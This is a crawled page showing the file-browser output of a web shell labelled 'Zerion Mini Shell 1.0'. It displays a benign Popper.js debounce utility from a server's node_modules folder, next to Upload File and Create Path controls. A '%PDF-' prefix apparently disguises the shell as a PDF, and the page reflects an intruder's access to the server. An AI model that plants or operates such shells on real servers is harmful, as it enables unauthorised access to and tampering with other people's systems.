%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/www/html/node_modules/@popperjs/core/lib/utils/
Upload File :
Create Path :
Current File : //proc/self/root/var/www/html/node_modules/@popperjs/core/lib/utils/debounce.js.flow

// @flow

export default function debounce<T>(fn: Function): () => Promise<T> {
  let pending;
  return () => {
    if (!pending) {
      pending = new Promise<T>(resolve => {
        Promise.resolve().then(() => {
          pending = undefined;
          resolve(fn());
        });
      });
    }

    return pending;
  };
}

Zerion Mini Shell 1.0